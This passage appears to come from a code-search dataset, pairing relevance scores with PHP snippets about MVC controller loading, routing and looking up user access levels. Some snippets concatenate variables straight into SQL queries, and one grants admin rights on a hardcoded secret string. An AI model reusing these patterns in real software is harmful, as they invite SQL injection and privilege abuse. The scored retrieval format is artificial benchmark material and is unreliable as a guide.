\\Rcm\\Service\\PageManager $mockPageManager */\n $mockPageManager = $this\n ->getMockBuilder('\\Rcm\\Service\\PageManager')\n ->disableOriginalConstructor()\n ->getMock();\n\n /** @var \\Rcm\\Service\\LayoutManager $mockLayoutManager */\n $mockLayoutManager = $this\n ->getMockBuilder('\\Rcm\\Service\\LayoutManager')\n ->disableOriginalConstructor()\n ->getMock();\n\n $controller = new IndexController($mockPageManager, $mockLayoutManager);\n\n $this->assertTrue($controller instanceof IndexController);\n }", "title": "" }, { "docid": "ab875415870cbfd2a7220bedb5aaaa16", "score": "0.5938733", "text": "public function initController() {\n if (false == is_null($this->activeRoute)) {\n return $this->initRouteController();\n }\n\n return $this->initViewController();\n }", "title": "" }, { "docid": "d77b48f20163df66d3b44768c441b457", "score": "0.59381473", "text": "public function runClient()\n {\n new Controller($this->getResourceContainer());\n }", "title": "" }, { "docid": "5a5890435be48ee2cebbf57f0f5be0a9", "score": "0.5937315", "text": "public function __construct($controller, $action){\n $this->_controller = $controller;\n $this->_action = $action;\n $this->request = new Input();\n // $this->view = new View();\n }", "title": "" }, { "docid": "658177547457870d58ca5a9ee57ac470", "score": "0.5931947", "text": "private function defaultController()\n {\n $this->controller = new IndexController();\n $this->controller->loadModel(self::getModel());\n $this->controller->index();\n }", "title": "" }, { "docid": "254b12860e6ea1927a434bc3d6a112b4", "score": "0.59209305", "text": "public function loadController($controller) {\n if ($this->modx->loadClass('quipController',$this->config['modelPath'].'quip/request/',true,true)) {\n $classPath = $this->config['controllersPath'].'web/'.$controller.'.php';\n $className = 'Quip'.$controller.'Controller';\n if (file_exists($classPath)) {\n if (!class_exists($className)) {\n $className = require_once $classPath;\n }\n if (class_exists($className)) {\n $this->controller = new $className($this,$this->config);\n } else {\n $this->modx->log(modX::LOG_LEVEL_ERROR,'[Quip] Could not load controller: '.$className.' at '.$classPath);\n }\n } else {\n $this->modx->log(modX::LOG_LEVEL_ERROR,'[Quip] Could not load controller file: '.$classPath);\n }\n } else {\n $this->modx->log(modX::LOG_LEVEL_ERROR,'[Quip] Could not load quipController class.');\n }\n return $this->controller;\n }", "title": "" }, { "docid": "65595bd73ea46f8f286cb4b0705c796c", "score": "0.58958125", "text": "public function getController() {\n $uri = explode('/', $this->__request);\n\t\t\t$class = isset($uri[0]) && ($uri[0] != \"\") ? strtolower($uri[0]) : DEFAULT_CONTROLLER; // class\n\t\t\t$method = isset($uri[1]) ? strtolower($uri[1]) : 'index';\t// method\n\t\t\t$param = isset($uri[2]) ? $uri[2] : false;\t// param\n\n\t\t\t// explode request untuk url cantik\n\t\t\t$class = str_replace('_', ' ', $class);\n\t\t\t$method = str_replace('_', ' ', $method);\n\n\t\t\t$tempClass = explode('-', $class);\n\t\t\t$tempMethod = explode('-', $method);\n\n\t\t\t$newClass = ucfirst(implode('_', $tempClass));\n\t\t\t$newMethod = implode('_', $tempMethod);\n\n\t\t\t// set request controller - class\n\t\t\t$this->__controller = ROOT.DS.'app'.DS.'controllers'.DS.$newClass.\"Controller.php\";\n\n\t\t\t// cek file controller\n\t\t\tif(file_exists($this->__controller)){\n\t\t\t\t// load controller dan class\n\t\t\t\trequire_once $this->__controller;\n\t\t\t\t$obj = new $newClass();\n\n\t\t\t\tif(method_exists($obj, $newMethod)){\n // check method public atau tidak\n $reflection = new ReflectionMethod($obj, $newMethod);\n if (!$reflection->isPublic()) {\n die($this->error('403')); // method dilarang diakses\n }\n else { $obj->$newMethod($param); }\n\t\t\t\t}\n\t\t\t\telse die($this->error('404')); // method tidak tersedia\t\n\t\t\t}\n\t\t\telse die($this->error('404')); // class tidak tersedia\n }", "title": "" }, { "docid": "9a0030ac4cac59f029c4a64be489b12d", "score": "0.58865166", "text": "public function __construct()\n {\n $this->args = $this->getTemplateArgs();\n $this->clientService = new SignatureClientService($this->args);\n $this->routerService = new RouterService();\n parent::controller($this->eg, $this->routerService, basename(__FILE__));\n }", "title": "" }, { "docid": "9a0030ac4cac59f029c4a64be489b12d", "score": "0.58865166", "text": "public function __construct()\n {\n $this->args = $this->getTemplateArgs();\n $this->clientService = new SignatureClientService($this->args);\n $this->routerService = new RouterService();\n parent::controller($this->eg, $this->routerService, basename(__FILE__));\n }", "title": "" }, { "docid": "2b3469208f4df91d755d97d9b6ac9b2d", "score": "0.588585", "text": "public function __construct()\n\t{\n\t\t// Hook into routing right after controller object is created\n\t\tEvent::add('system.post_controller', array($this, 'add'));\n\t}", "title": "" }, { "docid": "c756ee31e37e97721f0af953ead7ddbd", "score": "0.58838606", "text": "public static function loadController( $controller ) {\n $controller = ucwords( $controller ). 'Controller'; # NOTA: ucwords convierte a mayúsculas el primer caracter de cada pañabra de una cadena.\n $path_controller = 'controllers/' .$controller. '.php'; # Crea el PATH del Controlador\n\n # Valida si NO existe el PATH del Controlador\n if( !is_file( $path_controller ) ) {\n $path_controller = 'controllers/' .ucwords( DEFAULT_CONTROLLER ). 'Controller.php'; # Redirecciona al controlador por defecto\n $controller = ucwords( DEFAULT_CONTROLLER ). 'Controller';\n }\n\n require_once $path_controller; # Solicita el controlador\n\n return new $controller(); # Instancia el controlador existente y lo retorna\n }", "title": "" }, { "docid": "5cd05100b345a60dfcbf429aea50a3c8", "score": "0.5882933", "text": "public function createAction()\n {\n $class = $this->getClass();\n $action = new $class;\n\n return $action;\n }", "title": "" }, { "docid": "2525adc22f0540e34fdab94d58308995", "score": "0.5881597", "text": "public function newInstance();", "title": "" }, { "docid": "2525adc22f0540e34fdab94d58308995", "score": "0.5881597", "text": "public function newInstance();", "title": "" }, { "docid": "2525adc22f0540e34fdab94d58308995", "score": "0.5881597", "text": "public function newInstance();", "title": "" }, { "docid": "2525adc22f0540e34fdab94d58308995", "score": "0.5881597", "text": "public function newInstance();", "title": "" }, { "docid": "2525adc22f0540e34fdab94d58308995", "score": "0.5881597", "text": "public function newInstance();", "title": "" }, { "docid": "88e6fe4b47b1961beb9915fcb7442d94", "score": "0.58813095", "text": "private static function _create()\n\t{\n\t\t// Create the controllers\n\t\tforeach (self::$_controllers as $controller => $actions)\n\t\t{\n\t\t\t$fire = new MVC('controller', $controller);\n\t\t\tif (!empty($actions))\n\t\t\t{\n\t\t\t\t// Create the actions\n\t\t\t\tforeach ($actions as $action)\n\t\t\t\t{\n\t\t\t\t\t$fire->new_action($action);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$fire->create();\n\t\t\tunset($fire);\n\t\t}\n\n\t\t// Create the models\n\t\tforeach (self::$_models as $model => $methods)\n\t\t{\n\t\t\t$fire = new MVC('model', $model);\n\t\t\tif (!empty($methods))\n\t\t\t{\n\t\t\t\tforeach ($methods as $method)\n\t\t\t\t{\n\t\t\t\t\t$fire->new_method($method);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$fire->create();\n\t\t\tunset($fire);\n\t\t}\n\n\t\t// Create the views\n\t\tforeach (self::$_views as $views_folder => $views)\n\t\t{\n\t\t\t$fire = new MVC('view', $views_folder, $views);\n\t\t\t$fire->create();\n\t\t\tunset($fire);\n\t\t}\n\n\t\treturn;\n\t}", "title": "" }, { "docid": "0c5080cf36002832a9701145c2366852", "score": "0.5873517", "text": "public function getController()\n {\n if (! $this->controller) {\n $class = $this->parseControllerCallback()[0];\n\n $this->controller = $this->container->make(ltrim($class, '\\\\'));\n }\n\n return $this->controller;\n }", "title": "" }, { "docid": "71947924aa9a43024c401e7eeb95fcda", "score": "0.586999", "text": "private function __construct () {\n \t$url = $this->parseUrl();\n\n \tif (!empty($url[0])) { \n\n\t\t\t\t//comprobamos que exista el archivo en el directorio Controllers\n\t\t\t\tif (file_exists(self::CONTROLLERS_PATH . ucfirst($url[0]) . \".php\")) {\n\t\t\t\t\t\n\t\t\t\t\t$this->_controller = ucfirst($url[0]);\n\t\t\t\t\tunset($url[0]);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t//echo self::CONTROLLERS_PATH . ucfirst($url[0]) . \".php\";\n\t\t\t\t\tinclude VIEWSPATH . DS . \"errors\" . DS . \"404.php\";\n\t \t\texit;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->_controller = \"home\";\n\t\t\t}\n\n\t\t\t//obtenemos la clase con su espacio de nombres\n \t\t$fullClass = self::NAMESPACE_CONTROLLERS . $this->_controller;\n\n \t\t//asociamos la instancia a $this->_controller\n \t\t$this->_controller = new $fullClass;\n\n \t\t// validamos si existe un metodo\n \t\tif (isset($url[1])) {\n \t\t\t\n \t\t\t //aquí tenemos el método\n \t$this->_method = $url[1];\n\n \t\t\t// si existe un metodo procedemos a borrar la posicion correspondiente\n \t\t\tif (method_exists($this->_controller, $this->_method)) {\n \t\t\t\t\n \t\t\t\tunset($url[1]);\n \t\t\t}\n \t\t\telse {\n \t\t\t\tthrow new \\Exception(\"Error Processing Method {$this->_method}\", 1);\n \t\t\t}\n \t\t}\n\t\t\t\n\t\t\t//asociamos el resto del array a $this->_params para pasarlos al método llamado, por defecto será un array vacío\n \t$this->_params = $url ? array_values($url) : [];\n\n\t\t}", "title": "" }, { "docid": "f04b3e3b8b7e347984a11c62116a9bd3", "score": "0.5869292", "text": "public function __construct()\n {\n $this->args = $this->getTemplateArgs();\n $this->clientService = new SignatureClientService($this->args);\n $this->routerService = new RouterService();\n parent::controller($this->eg, $this->routerService, basename(__FILE__), $this->brand_languages);\n }", "title": "" }, { "docid": "a46a3728f20f459d408c47f65d0e8ce2", "score": "0.5866756", "text": "public function __construct(){\n if(Module::find('Product')){\n $this->ProductController = \\Modules\\Product\\Http\\Controllers\\ProductController::class;\n }\n if(Module::find('Cart')){\n $this->CartController = \\Modules\\Cart\\Http\\Controllers\\CartController::class;\n }\n }", "title": "" }, { "docid": "0f886372f40eb61c1cdf4071496ea4da", "score": "0.58633614", "text": "protected function loadController()\r {\r }", "title": "" }, { "docid": "9d92e14b80b4bdda06ddb29696df3459", "score": "0.58580685", "text": "private function __construct()\n {\n\t\t$uri = preg_split( \"/[\\/\\\\\\]/\", self::get() );\n\t\t\n\t\t# remove the first index of the array because it will always be blank\n\t\tarray_shift( $uri );\n\n\t\t# begin a controller variable with the namespace\n\t\tself::$_data['controller'] = \"\\\\app\\\\controller\\\\\";\n\n\t\t# get the controller data from the uri array\n\t\tself::$_data['controller'] = ( empty( $uri[0] ) || $uri[0] == '/' ) ? 'index' : strtolower( $uri[0] );\n\t\tself::$_data['controllerFile'] = self::$_data['controller'] . 'Controller';\n\t\tself::$_data['controllerNS'] = \"\\\\app\\\\controllers\\\\\" . self::$_data['controllerFile'];\n\n\t\t# get the action data from the uri array \n\t\tself::$_data['action'] = ( empty( $uri[1] ) || $uri[1] == '/' ) ? 'index' : strtolower( $uri[1] );\n\t\tself::$_data['action'] .= 'Action';\n\n }", "title": "" }, { "docid": "cf16bd487e830ac279e0d83492c9ccc0", "score": "0.58511686", "text": "public function getController();", "title": "" }, { "docid": "cf16bd487e830ac279e0d83492c9ccc0", "score": "0.58511686", "text": "public function getController();", "title": "" }, { "docid": "cf16bd487e830ac279e0d83492c9ccc0", "score": "0.58511686", "text": "public function getController();", "title": "" } ]
b4ca0e5d57da9d6b5593992bd090f06b
returns the current level of the user with corresponding session
[ { "docid": "9ecea2760eb916f59f24e9d99067295a", "score": "0.0", "text": "public function newSession()\n\t{\n\t\t$this->session = $this->getUserSession();\n\n\t\t//improve this method\n\t\tif($this->hasCompleted())\n\t\t\t$this->session = $this->getNextUserSession(); //improve this method\n\n\t\t$this->user_sessions = $this->getUserSessions(3);\n\n\t\treturn [\n\t\t\t'sessions' => $this->user_sessions,\n\t\t\t'current_session' => $this->session\n\t\t];\n\t}", "title": "" } ]
[ { "docid": "8becb0f71a383a5396e9d319d24fd7e2", "score": "0.8552633", "text": "public function getUserlevel() {\n $query = $this->database->prepare(\"SELECT level FROM users WHERE id = ?\"); \n $query->execute(array($_SESSION['userid']));\n \n return $query->fetchObject()->level;\n }", "title": "" }, { "docid": "52f00fd118fa66d920090f35bcda7c38", "score": "0.81401247", "text": "function CurrentUserLevel() {\n\tglobal $Security;\n\treturn (isset($Security)) ? $Security->CurrentUserLevelID() : @$_SESSION[EWR_SESSION_USER_LEVEL_ID];\n}", "title": "" }, { "docid": "246afca100b227a896ea67d60d34d859", "score": "0.80971056", "text": "public function user_level()\n\t\t{\n\t\t\t\n\t\t return (int)$this->session->userdata('user_level');\n\t\t \n\t\t}", "title": "" }, { "docid": "3cc5e0a64515ac6bdf3468a842f136bd", "score": "0.7875927", "text": "public function get_level(){\n return ( ! $this->session->userdata('level')) ? LEVEL_PUBLIC : $this->session->userdata('level');\n }", "title": "" }, { "docid": "390cc00e4efb88e65272d6ea01e1b6fa", "score": "0.78704804", "text": "function SessionUserLevel() {\n\t\treturn @$_SESSION[EWR_SESSION_USER_LEVEL];\n\t}", "title": "" }, { "docid": "9934a992b4575921a1a938fb1cfb136c", "score": "0.76995313", "text": "function CurrentUserLevel() {\n\t\treturn $this->CurrentUserLevel;\n\t}", "title": "" }, { "docid": "0d7d99256580ad92328c33fcf477e214", "score": "0.7626583", "text": "function SessionUserLevelID() {\n\t\treturn @$_SESSION[EWR_SESSION_USER_LEVEL_ID];\n\t}", "title": "" }, { "docid": "087f7f0a711ba4f2a0301b20e77c4c8a", "score": "0.76205385", "text": "public function get_user_level()\n {\n return $this->user_level;\n }", "title": "" }, { "docid": "ebcbc6be06e4c429020144053ad3fba4", "score": "0.74671245", "text": "public static function getLevel(){\n\n if(isset($_SESSION[static::SE_OPERATOR_LEVEL])){\n return intval($_SESSION[static::SE_OPERATOR_LEVEL]);\n }else{\n return 0;\n }\n\n }", "title": "" }, { "docid": "e83c10500842ab8360d13637289239a5", "score": "0.7441554", "text": "function CurrentUserLevelList() {\n\tglobal $Security;\n\treturn (isset($Security)) ? $Security->UserLevelList() : strval(@$_SESSION[EWR_SESSION_USER_LEVEL_ID]);\n}", "title": "" }, { "docid": "e2a85df71361645542fadefcc9ede8ee", "score": "0.73772126", "text": "function CurrentUserLevelID() {\n\t\treturn $this->CurrentUserLevelID;\n\t}", "title": "" }, { "docid": "1f314606eece4208f7dc515671b168f7", "score": "0.7291765", "text": "function CurrentUserLevelName() {\n\t\treturn $this->GetUserLevelName($this->CurrentUserLevelID());\n\t}", "title": "" }, { "docid": "d420b2cdb7d6d9e1b7f02bf75f6518cb", "score": "0.7248131", "text": "public function getLevel()\n\t{\n\t\tif ($this->isAuthenticated())\n\t\t\t$level = $this->getAccount()->getGmlevel();\n\t\telse\n\t\t\t$level = self::LEVEL_ANONYMOUS;\n\n\t\t$ranks = self::getRanks();\n\t\treturn $ranks[$level];\n\t}", "title": "" }, { "docid": "01c2b957287882e8832236c5fe85270c", "score": "0.72048455", "text": "function get_user_level()\n {\n if (!$this->connect()) {\n return false;\n }\n $sql = 'SELECT `level` FROM `geodesic_userdata` WHERE `id` = ?';//\".$this->login_return->ID;\n $result = $this->db->Execute($sql, array($this->user_info['id']));\n if (!$result) {\n $this->log('DB Error when getting user level, check bridge settings. debug info: ' . $this->db->ErrorMsg(), true);\n $this->user_info['level'] = 0;\n return false;\n }\n if ($result->RecordCount() == 1) {\n $show_level = $result->FetchRow();\n $this->user_info['level'] = $show_level['level'];\n return true;\n }\n $this->log('Error getting user level for user ' . $this->user_info['username'] . '(' . $this->user_info['id'] . '), you may need to sync users for this bridge. Debug info: recourd count:' . $result->RecordCount(), true);\n return false;\n }", "title": "" }, { "docid": "8b4d6499aae5e1f808302f69c6f9d438", "score": "0.7055276", "text": "function getLevelName()\n\t{\n\t\t$level=UserLevel::findOne(Yii::$app->user->identity->level);\n\t\treturn $level->level;\n\t}", "title": "" }, { "docid": "150dc467fa42a2f25b570aef320be070", "score": "0.7051529", "text": "function check_level() {\r\n\t\t$query = \"select level from users where uid=\".$_SESSION['userid'];\r\n\t\t$res = $this->mdb2->query($query);\r\n\t\tif (PEAR::isError($res)) {\r\n\t\t\tdie($res->getMessage());\r\n\t\t}\r\n\t\t$row = $res->fetchRow();\r\n\t}", "title": "" }, { "docid": "dc4214db7172ae05064db8c3c0f44fe1", "score": "0.7047192", "text": "function authGetUserLevel($user)\n{\n global $auth, $db_ext_conn;\n\n $admins = $auth['admin'];\n // User not logged in, user level '0'\n if(!isset($user))\n {\n return 0;\n }\n\n // Check if the user is can modify\n for($i = 0; isset($admins[$i]); $i++)\n {\n if(strcasecmp($user, $admins[$i]) == 0)\n {\n return 2;\n }\n }\n\n // Get user level from external database\n if (isset($auth['db_ext']['column_name_level']) && ($auth['db_ext']['column_name_level'] != ''))\n {\n $persist = 0;\n $port = isset($auth['db_ext']['db_port']) ? (int)$auth['db_ext']['db_port'] : NULL;\n \n // syntax_casesensitive_equals() modifies our SQL params array for us. We need an exact match -\n // MySQL allows trailing spaces when using an '=' comparison, eg 'john' = 'john '\n\n $sql_params = array();\n $query = \"SELECT \" . $db_ext_conn->quote($auth['db_ext']['column_name_level']) . \"\n FROM \" . $db_ext_conn->quote($auth['db_ext']['db_table']) . \"\n WHERE \" . $db_ext_conn->syntax_casesensitive_equals($auth['db_ext']['column_name_username'],\n utf8_strtolower($user),\n $sql_params) . \"\n LIMIT 1\";\n\n $stmt = $db_ext_conn->query($query, $sql_params);\n \n if ($stmt->count() == 0)\n {\n return 0;\n }\n \n $row = $stmt->row(0);\n \n return $row[0];\n }\n\n // Everybody else is access level '1'\n return 1;\n}", "title": "" }, { "docid": "e7235295949ccb6294914db6ff605c86", "score": "0.69989175", "text": "function getuserlevel($userlevel) {\n\tglobal $locale;\n\tif ($userlevel==101) { return $locale['user1']; }\n\telseif ($userlevel==102) { return $locale['user2']; }\n\telseif ($userlevel==103) { return $locale['user3']; }\n}", "title": "" }, { "docid": "a81aff9fbd90448a7df7177d3ebaccef", "score": "0.6927486", "text": "function checkUserLevel()\n{\n\tglobal $DBCON;\n\t$qry=mysqli_query($DBCON,\"SELECT * FROM user WHERE username='\".$_SESSION['username'].\"'\");\n\t$userLevel=mysqli_fetch_array($qry);\n\treturn $userLevel['usertype'];\n}", "title": "" }, { "docid": "b3475fb00b76e6b6b879bb8e630b2d83", "score": "0.6860642", "text": "function getUserLevel($u_id)\r\n{\r\n\tglobal $DB;\r\n\tstatic $cache;\r\n\t\r\n\tif (isset($cache[$u_id])) { // if user is in cache\r\n\t\treturn $cache[$u_id]; // return user name from cache\r\n\t}\r\n\telse {\r\n\t\t$query = \"SELECT u_level FROM user WHERE u_id = $u_id\";\r\n\t\t$result = $DB->query_one($query);\r\n\t\tif (isset($result['u_level'])) {\r\n\t\t\t// put it in cache\r\n\t\t\t$cache[$u_id] = $result['u_level'];\r\n\t\t\t// return\r\n\t\t\treturn $result['u_level'];\r\n\t\t}\r\n\t}\r\n\t// if we didn't return by now...\r\n\treturn false;\r\n}", "title": "" }, { "docid": "6d5aed08fe617624afde0978a694f22f", "score": "0.6681038", "text": "public function getUserLevel() {\n\t\treturn($this->attemptsTimeTested);\n\t}", "title": "" }, { "docid": "757e165d96cf3e09ea51f00b22013ba1", "score": "0.66273254", "text": "function CurrentUserLevelPriv($TableName) {\n\t\tif ($this->IsLoggedIn()) {\n\t\t\t$Priv= 0;\n\t\t\tforeach ($this->UserLevelID as $UserLevelID)\n\t\t\t\t$Priv |= $this->GetUserLevelPrivEx($TableName, $UserLevelID);\n\t\t\treturn $Priv;\n\t\t} else { // Anonymous\n\t\t\treturn $this->GetUserLevelPrivEx($TableName, -2);\n\t\t}\n\t}", "title": "" }, { "docid": "fcc66e3c1dec12eca7d6b57a3647edf3", "score": "0.6590309", "text": "public static function getUserState() : string\n {\n $login = isset($_SESSION['login']);\n if ($login && !empty($login)) {\n return self::ACCESS_LEVEL_USER;\n } else {\n return self::ACCESS_LEVEL_GUEST;\n }\n }", "title": "" }, { "docid": "e4d747404496eed8bdb7b4512a958283", "score": "0.6586389", "text": "function getMyPrivilages($db)\n{\n if ($_SESSION['user'] == 0) { //I am admin\n return 0;\n } else { //I am pirates\n $my_id = $_SESSION['user'];\n $my_rank = getRank($my_id, $db);\n $my_level = rankToPriv($my_rank);\n\n return $my_level;\n }\n}", "title": "" }, { "docid": "e2633fd9906fe43fce1beecfc8cf13a2", "score": "0.6540162", "text": "function access_level($user_character){\r\n\tif($user_character==\"new\"){\r\n\t$user_level = \"least-privileged\";\r\n\t//sidenotes: the reason why the admin key is so long is to prevent hackers from guessing the\r\n\t//key to get admin privileges\r\n\t}elseif ($user_character==\"super_duper_special_fight_the_power_thor_can_jump_off_a_cliff_admin\") {\r\n\t$user_level = \"most-privileged\";\r\n\t}else{\r\n\t\t$user_level = \"least-privileged\";\r\n\t}\r\n\treturn $user_level;\r\n}", "title": "" }, { "docid": "e54fb348f747a8bb0a10057c79bca1dc", "score": "0.65355694", "text": "public function getLevel($level)\n\t{\n\t\tdb::where('billingApprovalID', $this->billingApprovalID);\n\t\tdb::where('userLevel', $level);\n\n\t\t$row = db::get('billing_approval_level')->row();\n\n\t\tif($row)\n\t\t\treturn $row;\n\n\t\tif ($this->billingApprovalID != \"\"){\n\t\tdb::insert('billing_approval_level', array(\n\t\t\t\t'billingApprovalID' => $this->billingApprovalID,\n\t\t\t\t'userLevel' => $level,\n\t\t\t\t'billingApprovalLevelStatus' => 0,\n\t\t\t\t'billingApprovalLevelCreatedDate' => now()));\n\t\t}\n\t\treturn db::getLastID('billing_approval_level', 'billingApprovalLevelID', true);\n\t}", "title": "" }, { "docid": "b87d5b681d256a3e22f9f456e7d78b7e", "score": "0.65191233", "text": "private function get_subscriber_level_info($select){\n $levels_model = new Models('levels');\n $where = array(\n 'manage_control_panel' => 0,\n 'manage_categories' => 0,\n 'manage_parameters' => 0,\n 'manage_objects' => 0,\n 'manage_collections' => 0,\n 'manage_categories_collections' => 0,\n 'default' => 1\n );\n $user_level = $levels_model->get_one_row($select, $where);\n return $user_level;\n }", "title": "" }, { "docid": "d7058a64198000b937545dbf3d1f06a3", "score": "0.65171313", "text": "public function getUserLevelInfo($uid)\n {\n $sql = \"SELECT uid,exp,next_level_exp,level,coin,gold,island_name,island_level,praise,help,title,power\n FROM $this->table_user WHERE uid=:uid \";\n\n return $this->_rdb->fetchRow($sql,array('uid'=>$uid));\n }", "title": "" }, { "docid": "98a8be89d464c4cb1ebb53bce59bac7b", "score": "0.6516365", "text": "function ShowUserLevelInfo() {\n\t\techo \"<pre>\";\n\t\tprint_r($this->UserLevel);\n\t\tprint_r($this->UserLevelPriv);\n\t\techo \"</pre>\";\n\t\techo \"<p>Current User Level ID = \" . $this->CurrentUserLevelID() . \"</p>\";\n\t\techo \"<p>Current User Level ID List = \" . $this->UserLevelList() . \"</p>\";\n\t}", "title": "" }, { "docid": "f26602a89255bc288e6b2a2f22381da4", "score": "0.6491335", "text": "public function get_level() {\n return $this->level;\n }", "title": "" }, { "docid": "c33acbca4a08ed0d09677de31235daaa", "score": "0.64411867", "text": "public function getLevel()\n {\n return $this->getData('level');\n }", "title": "" }, { "docid": "ed524f0fa111d34c9bb6c3de3c39541f", "score": "0.6439239", "text": "public function currentlevel(){\r\n /* RANDOM X AND Y */\r\n $userx = $this->x;\r\n $usery = $this->y;\r\n\r\n $c = 1*$userx +(-$usery*$userx); // the core function\r\n $currentlevel = $c*-1;\r\n\r\n $status = $this->levelStage($currentlevel);\r\n\r\n if($status === true) {\r\n /* increase level HERE based on the levelStage() function */\r\n\r\n return $this->output;\r\n\r\n }elseif($status === false){\r\n\r\n return $this->output;\r\n\r\n }\r\n return false;\r\n }", "title": "" }, { "docid": "2632652e6ceb2e5fe3775bfc7a402bba", "score": "0.6438274", "text": "public function level();", "title": "" }, { "docid": "ae4648b202a955531faeea93d9a8e20e", "score": "0.64346105", "text": "function page_require_level($require_level){\n global $session;\n $current_user = current_user();\n $login_level = find_by_groupLevel($current_user['user_level']);\n\n //if user not login\n if (!$session->isUserLoggedIn(true)):\n $session->msg('d','Por favor, faça o Login.');\n redirect('index.php', false);\n //if Group status Deactive\n elseif($login_level['0']['group_status'] === '0'): \n if(!$session->logout()):\n $session->msg('d','Este nível de usuário está desabilitado.');\n redirect(\"index.php\"); \n endif;\n //cheackin log in User level and Require level is Less than or equal to\n elseif($current_user['user_level'] <= (int)$require_level):\n return true;\n else:\n $session->msg(\"d\", \"Você não tem permissão para acessar esta página.\");\n redirect('dashboard.php', false);\n endif;\n\n}", "title": "" }, { "docid": "321c0ae56024ff55c70be22b093db331", "score": "0.6425018", "text": "public static function getUserAuthLevel()\n\t{\n\t\treturn fAuthorization::getUserAuthLevel();\n\t}", "title": "" }, { "docid": "ddd142113065af96c7c11eba3a91a41c", "score": "0.6388946", "text": "function getUserTypeLevel($user_type_id){\n\t$r=mysql_query(\"select user_type_level from user_type where user_type_id='$user_type_id'\")or die(mysql_error());\n\t$a=mysql_fetch_assoc($r);\n\treturn $a['user_type_level'];\n}", "title": "" }, { "docid": "c43e46915281465050eda8badfbc823d", "score": "0.63818395", "text": "function getLevelScore($level) {\n require('dblogin.php');\n\n \t$query = \"SELECT game_time\n FROM games\n INNER JOIN users ON games.user_id = users.user_id\n WHERE game_level=\" . $level .\n \" AND user_name=\\\"\" . $_SESSION['user_name'] . \n \"\\\" ORDER BY game_time ASC;\";\n $result = mysqli_query($link, $query);\n if($result) {\n $row = mysqli_fetch_array($result);\n }\n\n return $row['game_time'];\n }", "title": "" }, { "docid": "860a559dcbf0fa105e17aede9168d77d", "score": "0.63761616", "text": "private function getUserlevel()\n\t{\n\t\t$array = array();\n\t\t$array['1'] = 'Administrador';\n\t\t$array['2'] = 'Gestor';\n\t\treturn $array;\n\t}", "title": "" }, { "docid": "9b8d268f223f33c359fa4d3c2b9a6f94", "score": "0.6366066", "text": "function get_user_score_for_level($user_id){\n \tglobal $DB;\n\t\t$DB->query_exec(\"SELECT score_for_level FROM users WHERE id = '{$user_id}'\");\n\t\t$total_score = $DB->fetch();\n\t\t$total_score = $total_score[0]['score_for_level'];\n\t\treturn $total_score;\n }", "title": "" }, { "docid": "dbd858a7b0c6349c1a15db6b6a69f244", "score": "0.634695", "text": "function checkme()\n{\n global $db,$userid;\n $qry = db(\"SELECT level FROM \".$db['users'].\"\n WHERE id = '\".intval($userid).\"'\n AND pwd = '\".$_SESSION['pwd'].\"'\n AND ip = '\".$_SESSION['ip'].\"'\");\n if(_rows($qry))\n {\n $get = _fetch($qry);\n return $get['level'];\n } else {\n return \"unlogged\";\n }\n}", "title": "" }, { "docid": "81528d1c48f48acbdb2c353fe873df42", "score": "0.6343892", "text": "function getMenuLevelAsscess( $menuId ){\n $ci = & get_instance();\n $query = $ci->db->select(\"*\")\n ->from(\"sp_group_access\")\n ->where('group_id',$_SESSION['user_type'])\n ->where('menu_id',$menuId)\n ->get();\n $getGroupLevel = ($query->num_rows() > 0) ? $query->row_array() : '';\n \n $query = $ci->db->select(\"*\")\n ->from(\"sp_user_access\")\n ->where('user_id',$_SESSION['user_id'])\n ->where('menu_id',$menuId)\n ->get();\n $userLevelAccess = ($query->num_rows() > 0) ? $query->row_array() : '';\n //q();\n //p($userLevelAccess);\n return (!empty($userLevelAccess)) ? $userLevelAccess : $getGroupLevel;\n}", "title": "" }, { "docid": "fc4f7c7f0f6c9bdbe56a56fc11f052e1", "score": "0.63366944", "text": "protected function getLevel()\n {\n if($this->currObj instanceof TeamSpeak3_Node_Channel)\n {\n return $this->currObj->getLevel()+2;\n }\n elseif($this->currObj instanceof TeamSpeak3_Node_Client)\n {\n return $this->currObj->channelGetById($this->currObj->cid)->getLevel()+3;\n }\n\n return 1;\n }", "title": "" }, { "docid": "d62a792e98f0a981cf55a0d3215d1fa3", "score": "0.6304938", "text": "public function user_level($userid) { \n\t $this -> db -> select('access_type');\n\t $this -> db -> from('access_type');\n\t $this -> db -> where('user_id', $userid);\n\t $query = $this -> db -> get();\n\t $access = $query->result();\n\t if ($access != NULL) {\n return ($access[0]->access_type);\n }\n else{\n $access = 'role_not_found';\n return $access;\n }\n }", "title": "" }, { "docid": "df58da31352efdd3637657ddeea1e25c", "score": "0.6302688", "text": "function page_require_level($require_level){\n global $session;\n $current_user = current_user();\n $login_level = find_by_groupLevel($current_user['user_level']);\n //if user not login\n if (!$session->isUserLoggedIn(true)):\n $session->msg('d','Por favor Iniciar sesión...');\n redirect('index.php', false);\n\n\n //if Group status Deactive\n elseif($login_level['group_status'] == '0' ):\n $session->msg('d','Este nivel de usuario esta inactivo!');\n redirect('admin.php',false);\n //cheackin log in User level and Require level is Less than or equal to\n \n elseif($current_user['user_level'] <= (int)$require_level):\n return true;\n else:\n $session->msg(\"d\", \"¡Lo siento! no tienes permiso para ver esta seccion.\");\n redirect('admin.php', false);\n endif;\n\n }", "title": "" }, { "docid": "3fb7e58d1e4b47d6e13aff7bb802b0c0", "score": "0.6295739", "text": "public function getAccessLevel ($userId)\n\t{\n\t\t$query = \"SELECT `level_access` FROM `users` WHERE `id` = '\" . \t$this->quote($userId) . \"'\";\n\t\tif ( $this->resultNum($query) == 1 )\n\t\t{\n\t\t\t$row = $this->fetchOne($query);\n\t\t}\n\t\treturn $row['level_access'];\n\t}", "title": "" }, { "docid": "7cda06fc5df791f95ae8d61180e8ec4c", "score": "0.62871724", "text": "public function getLevel()\n {\t\n return $this->level;\n }", "title": "" }, { "docid": "f7d4429b571a3f80e57e8bda6acacfd3", "score": "0.62342525", "text": "public function getLvl()\n {\n return $this->lvl;\n }", "title": "" }, { "docid": "467cd511610c673e093fc17dd8dc338e", "score": "0.6230061", "text": "public function getLevel(){\n\t\treturn $this->level;\n\t}", "title": "" }, { "docid": "182f8f272d975931a165e1da8b2b7af9", "score": "0.6228411", "text": "public static function getLevel($level){\n\n\t\t$role['admin'] = 3;\n\t\t$role['especial'] = 2;\n\t\t$role['usuario'] = 1;\n\n\t\tif 